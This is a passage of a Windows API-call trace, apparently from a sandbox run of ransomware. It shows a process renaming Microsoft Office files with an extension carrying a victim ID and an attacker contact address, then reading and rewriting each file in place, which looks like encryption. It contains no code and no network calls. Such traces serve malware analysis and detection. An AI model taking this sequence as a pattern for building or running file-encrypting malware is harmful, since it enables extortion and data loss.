0x6efb840 [0190.436] GetProcessHeap () returned 0x630000 [0190.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x6efddf0 [0190.436] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.436] ReadFile (in: hFile=0x640, lpBuffer=0x6efb840, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efb840*, lpNumberOfBytesRead=0x573ff0c*=0x600, lpOverlapped=0x0) returned 1 [0190.487] GetProcessHeap () returned 0x630000 [0190.487] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0190.487] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.487] WriteFile (in: hFile=0x640, lpBuffer=0x6efddf0*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efddf0*, lpNumberOfBytesWritten=0x573ff0c*=0x600, lpOverlapped=0x0) returned 1 [0190.487] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.487] WriteFile (in: hFile=0x640, lpBuffer=0x6efe3ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efe3ef*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.487] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.487] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.487] CloseHandle (hObject=0x640) returned 1 [0190.487] GetProcessHeap () returned 0x630000 [0190.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efddf0 | out: hHeap=0x630000) returned 1 [0190.487] GetProcessHeap () returned 0x630000 [0190.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efb840 | out: hHeap=0x630000) returned 1 [0190.487] GetProcessHeap () returned 0x630000 [0190.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0190.488] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.488] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x377c6f0d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x573fd20, dwReserved1=0x6efb840, cFileName="WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d4ec0 [0190.488] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0190.488] Sleep (dwMilliseconds=0x1) [0190.493] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST") returned 1 [0190.493] GetProcessHeap () returned 0x630000 [0190.493] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3294) returned 0x74656a8 [0190.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0190.496] CloseHandle (hObject=0x6cc) returned 1 [0190.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcca238b3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcca238b3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xccd6abed, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa94, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCEX~1.FIR")) returned 0x6d4f80 [0190.506] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0190.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.manifest.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0190.545] GetProcessHeap () returned 0x630000 [0190.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6fd5b70 [0190.545] GetProcessHeap () returned 0x630000 [0190.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaa1) returned 0x6fd7180 [0190.545] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.545] ReadFile (in: hFile=0x6cc, lpBuffer=0x6fd5b70, nNumberOfBytesToRead=0xa80, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd5b70*, lpNumberOfBytesRead=0x573ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0190.596] GetProcessHeap () returned 0x630000 [0190.596] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0190.596] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.596] WriteFile (in: hFile=0x6cc, lpBuffer=0x6fd7180*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd7180*, lpNumberOfBytesWritten=0x573ff0c*=0xa80, lpOverlapped=0x0) returned 1 [0190.597] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x6cc, lpBuffer=0x6fd7bff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd7bff*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.597] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.597] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.597] CloseHandle (hObject=0x6cc) returned 1 [0190.597] GetProcessHeap () returned 0x630000 [0190.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd7180 | out: hHeap=0x630000) returned 1 [0190.597] GetProcessHeap () returned 0x630000 [0190.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd5b70 | out: hHeap=0x630000) returned 1 [0190.597] GetProcessHeap () returned 0x630000 [0190.597] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0190.597] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcca238b3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcca238b3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x378d142c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xab8, dwReserved0=0x573fd20, dwReserved1=0x6fd5b70, cFileName="LYNC.EXE.MANIFEST.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCEX~1.FIR")) returned 0x6d5380 [0190.598] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0190.598] Sleep (dwMilliseconds=0x1) [0190.602] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic", len=0x3b | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic") returned 1 [0190.603] GetProcessHeap () returned 0x630000 [0190.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x33f0) returned 0x74656a8 [0190.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0190.607] CloseHandle (hObject=0x4f0) returned 1 [0190.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSET7J~1.FIR")) returned 0x6d5280 [0190.609] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0190.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0190.609] GetProcessHeap () returned 0x630000 [0190.609] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ee88b8 [0190.610] GetProcessHeap () returned 0x630000 [0190.610] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0190.610] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.610] ReadFile (in: hFile=0x4f0, lpBuffer=0x6ee88b8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ee88b8*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.916] GetProcessHeap () returned 0x630000 [0194.916] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0194.916] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.916] WriteFile (in: hFile=0x4f0, lpBuffer=0x71803a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.335] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.335] WriteFile (in: hFile=0x4f0, lpBuffer=0x718b7a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7a7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.345] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.345] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.345] CloseHandle (hObject=0x4f0) returned 1 [0195.345] GetProcessHeap () returned 0x630000 [0195.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0195.346] GetProcessHeap () returned 0x630000 [0195.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ee88b8 | out: hHeap=0x630000) returned 1 [0195.346] GetProcessHeap () returned 0x630000 [0195.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0196.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3a625870, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1da5c0, dwReserved0=0xa5c7496, dwReserved1=0x6ee88b0, cFileName="mset7jp.kic.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSET7J~1.FIR")) returned 0x6d5540 [0196.297] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0196.297] Sleep (dwMilliseconds=0x1) [0196.322] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt", len=0x4e | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt") returned 1 [0196.322] GetProcessHeap () returned 0x630000 [0196.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4780) returned 0x7133a90 [0196.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0196.609] CloseHandle (hObject=0x6a4) returned 1 [0196.609] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.653] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb62fbf7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ca4, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSGBOX~1.FIR")) returned 0x6d5000 [0196.653] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0196.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0196.654] GetProcessHeap () returned 0x630000 [0196.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4cc1) returned 0x70e69b0 [0196.654] GetProcessHeap () returned 0x630000 [0196.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4cc1) returned 0x70eb680 [0196.654] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.654] ReadFile (in: hFile=0x6a4, lpBuffer=0x70e69b0, nNumberOfBytesToRead=0x4ca0, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e69b0*, lpNumberOfBytesRead=0x573ff0c*=0x4ca0, lpOverlapped=0x0) returned 1 [0201.099] GetProcessHeap () returned 0x630000 [0201.099] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0201.099] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.099] WriteFile (in: hFile=0x6a4, lpBuffer=0x70eb680*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70eb680*, lpNumberOfBytesWritten=0x573ff0c*=0x4ca0, lpOverlapped=0x0) returned 1 [0201.099] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.099] WriteFile (in: hFile=0x6a4, lpBuffer=0x70f031f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f031f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.099] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.099] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.100] CloseHandle (hObject=0x6a4) returned 1 [0201.100] GetProcessHeap () returned 0x630000 [0201.100] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70eb680 | out: hHeap=0x630000) returned 1 [0201.100] GetProcessHeap () returned 0x630000 [0201.100] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e69b0 | out: hHeap=0x630000) returned 1 [0201.100] GetProcessHeap () returned 0x630000 [0201.100] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0201.100] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0201.100] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3dcfdd90, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0xa5c7496, dwReserved1=0x70e69a8, cFileName="Msgbox.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSGBOX~1.FIR")) returned 0x6d5280 [0201.100] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0201.100] Sleep (dwMilliseconds=0x1) [0202.817] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl", len=0x79 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl") returned 1 [0202.818] GetProcessHeap () returned 0x630000 [0202.818] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4bf4) returned 0x7133a90 [0202.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0203.084] CloseHandle (hObject=0x6c8) returned 1 [0203.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\msjet.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: 